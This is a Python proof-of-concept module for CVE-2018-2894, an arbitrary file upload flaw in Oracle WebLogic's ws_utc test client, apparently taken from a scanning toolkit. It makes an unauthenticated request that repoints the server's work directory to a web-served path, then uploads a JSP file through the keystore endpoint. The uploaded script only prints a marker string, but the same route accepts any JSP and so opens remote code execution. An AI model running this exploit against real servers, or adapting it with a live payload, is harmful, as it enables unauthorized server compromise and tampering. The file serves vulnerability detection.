'''
Function:
    CVE-2018-2894
Author:
    花果山
Wechat official account：
    中龙 红客突击队
Official website：
    https://www.hscsec.cn/
Email：
    spmonkey@hscsec.cn
Blog:
    https://spmonkey.github.io/
GitHub:
    https://github.com/spmonkey/
'''
# -*- coding: utf-8 -*-
import requests
import random
import os
import sys
from urllib.parse import urlparse
from requests.packages.urllib3 import disable_warnings
disable_warnings()
path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.append(path)
from modules import get_user_agent


class poc:
    def __init__(self, url, proxies):
        self.url = url
        self.headers = {
            'User-Agent': get_user_agent.get_user_agent(),
        }
        self.value_list = []
        self.result_text = ""
        self.proxies = proxies

    def host(self):
        url = urlparse(self.url)
        netloc = url.netloc
        scheme = url.scheme
        return scheme, netloc

    def underlying_configuration(self, netloc, scheme):
        url = "{}://{}/ws_utc/resources/setting/options".format(scheme, netloc)
        data = {
            "setting_id": "general",
            "BasicConfigOptions.workDir": "/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css",
            "BasicConfigOptions.proxyHost": "",
            "BasicConfigOptions.proxyPort": "80"
        }
        headers = {
            "User-Agent": "Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)",
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Requested-With": "XMLHttpRequest"
        }
        try:
            result = requests.post(url=url, data=data, headers=headers, verify=False, proxies=self.proxies)
            if "ok" in result.text or "Save successfully" in result.text:
                return True
            else:
                return False
        except:
            return False

    def vuln(self, netloc, scheme):
        url = "{}://{}/ws_utc/resources/setting/keystore".format(scheme, netloc)
        filename = 'test{}.jsp'.format(str(random.randint(1, 10)))
        data = {
            'ks_name': (None, 'test', None),
            'ks_edit_mode': (None, 'false', None),
            'ks_password_front': (None, '123456', None),
            'ks_password': (None, '123456', None),
            'ks_password_changed': (None, 'true', None),
            'ks_filename': (filename, '<% out.println("bea86d66a5278f9e6fa1112d2e2fcebf"); %>', 'application/octet-stream'),
            }
        try:
            result = requests.post(url=url, files=data, headers=self.headers, verify=False, proxies=self.proxies)
            if filename in result.text:
                target = urlparse(url)
                self.result_text += """\n        [+]    \033[32m检测到目标站点存在任意文件上传漏洞 (CVE-2018-2894)\033[0m
                 POST {} HTTP/1.1
                 Host: {}""".format(target.path, target.netloc)
                for request_type, request_text in dict(result.request.headers).items():
                    self.result_text += "\n                 {}: {}".format(request_type, request_text)
                self.result_text += "\n"
                bodys = result.request.body.decode().split("\r\n")
                for body in bodys:
                    self.result_text += "\n                 {}".format(body)
                return True
            else:
                return False
        except:
            return False

    def main(self):
        all = self.host()
        scheme = all[0]
        netloc = all[1]
        if self.underlying_configuration(netloc, scheme):
            if self.vuln(netloc, scheme):
                 return self.result_text
            else:
                return False
        else:
            return False
